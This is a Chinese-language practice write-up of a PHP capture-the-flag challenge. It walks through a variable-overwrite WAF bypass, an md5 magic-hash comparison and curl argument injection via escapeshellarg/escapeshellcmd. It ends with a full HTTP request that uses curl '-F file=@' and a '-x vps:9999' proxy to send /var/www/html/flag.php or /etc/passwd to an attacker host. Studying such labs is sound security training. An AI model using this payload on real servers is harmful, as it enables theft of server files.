练习记录
复现代码:
index.php
//index.php
<?php
highlight_file('index.php');
function waf($a){
foreach($a as $key => $value){
if(preg_match('/flag/i',$key)){
exit('are you a hacker');
}
}
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}
}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['hongri']){
exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['hongri'])){
$url = $_GET['url'];
$urlInfo = parse_url($url);
if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
die( "scheme error!");
}
$url = escapeshellarg($url);
$url = escapeshellcmd($url);
system("curl ".$url);
}
}
?>
flag.php
// flag.php
<?php
$flag = "HRCTF{Are_y0u_maz1ng}";
?>
漏洞分析:
进入网站:
http://10.211.55.5/PHPcode/day5/index.php
发现页面正常,可以进行操作了。
这道题主要考察全局变量覆盖,结合 unset
函数绕过waf
,以及通过curl
读取文件,接下来我们将代码分为两个部分看看吧。
第一部分:
我们看到 第10-13行
代码:
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}
}
首先第1行
,循环获取字符串 GET、POST、COOKIE
,并依次赋值给变量 $__R
。在 第2行
中先判断 $$__R
变量是否存在数据,如果存在,则继续判断超全局数组GET、POST、COOKIE
中是否存在键值相等的,如果存在,则删除该变量。这里有个可变变量
的概念需要先理解一下。
可变变量指的是: 一个变量的变量名可以动态的设置和使用。一个可变变量获取了一个普通变量的值作为其变量名。
举个例子方便理解:
<?php
$a="hello";
$$a="world";
var_dump($a,$$a,$hello)
?>
这里使用 $$
将通过变量a
获取到的数据,注册成为一个新的变量(这里是 变量hello )
。然后会发现变量 $$a
的输出数据和变量 $hello
的输出数据一致(如上图,输出为 world
)。
通过GET
请求向index.php
提交flag=test
,接着通过POST
请求提交 _GET[flag]=test
。当开始遍历 $_POST
超全局数组的时候,$__k
代表 _GET[flag]
,所以$$__k
就是 $_GET[flag]
,即test
值,此时 $$__k == $__v
成立,变量$_GET[flag]
就被 unset
了。但是在 第22行 和 23行 有这样一串代码:
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
extract 函数
:作用是将对象内的键名变成一个变量名,而这个变量对应的值就是这个键名的值。
EXTR_SKIP 参数
:表示如果前面存在此变量,不对前面的变量进行覆盖处理。
由于我们前面通过 POST 请求
提交 _GET[flag]=test
,所以这里会变成 $_GET[flag]=test
,这里的 $_GET
变量就不需要再经过waf
函数检测了,也就绕过了 preg_match('/flag/i',$key)
的限制。下面举个extract
函数用例:
<?php
$b=3;
$a=array('b'=>'1');
extract($a);
print_r($b);
?>
结果为:1
接着到了25行比较两个变量的md5值
,我们构造出2
个0e
开头的md5
即可绕过,这样就进入第二阶段。
第二部分:
第二阶段主要考察 curl
读取文件。这里主要加了两个坑,我们之前说过的两个函数 escapeshellarg()
和 escapeshellcmd()
一起使用的时候会造成的问题,主要看看这部分代码。
if(md5($_GET['flag'] ) == md5($_GET['hongri'])){
$url = $_GET['url'];
$urlInfo = parse_url($url);
if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
die( "scheme error!");
}
$url = escapeshellarg($url);
$url = escapeshellcmd($url);
system("curl ".$url);
}
这里的 第7行
和 第8行
增加了两个过滤。
escapeshellarg
:将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号escapeshellcmd
:会对以下的字符进行转义&#;|*?~<>^()[]{}$, x0A 和 xFF, ' 和 "
仅在不配对的时候被转义。
例如:
在字符串增加了引号同时会进行转义,那么之前的payload
http://127.0.0.1/index1.php?url=http://127.0.0.1 -T /etc/passwd
因为增加了 '
进行了转义,所以整个字符串会被当成参数。注意 escapeshellcmd
的问题是在于如果'
和 "
仅在不配对的时候被转义。那么如果我们多增加一个'
就可以扰乱之前的转义了。如下:
在curl
中存在-F
提交表单的方法,也可以提交文件。-F <key=value>
向服务器POST
表单,例如: curl -F "[email protected];type=text/html" url.com
。提交文件之后,利用代理的方式进行监听,这样就可以截获到文件了,同时还不受最后的的影响。那么最后的payload
为:
http://baidu.com/' -F file=@/etc/passwd -x vps:9999
这里应该是和 curl
版本有关系,我在7.54.0
下没有测试成功。
题目中的 curl
版本是 7.19.7
根据猜测,可能在是新版本中,先会执行 curl http
的操作,但是由于在后面增加了,例如 http://127.0.0.1
, 但是curl
无法找到这样的文件,出现404
。出现404
之后,后面的提交文件的操作就不进行了,程序就退出了。这样在vps
上面就无法接受到文件了。
所以这题最后的 payload
是这样的:
POST /index.php?flag=QNKCDZO&hongri=s878926199a&url=http://baidu.com/' -F file=@/var/www/html/flag.php -x vps:9999 HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=om11lglr53tm1htliteav4uhk4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
_GET[flag]=QNKCDZO&_GET[hongri]=s878926199a&_GET[url]=http://baidu.com/' -F file=@/var/www/html/flag.php -x vps:9999
这道题没有Linux环境没有复现成功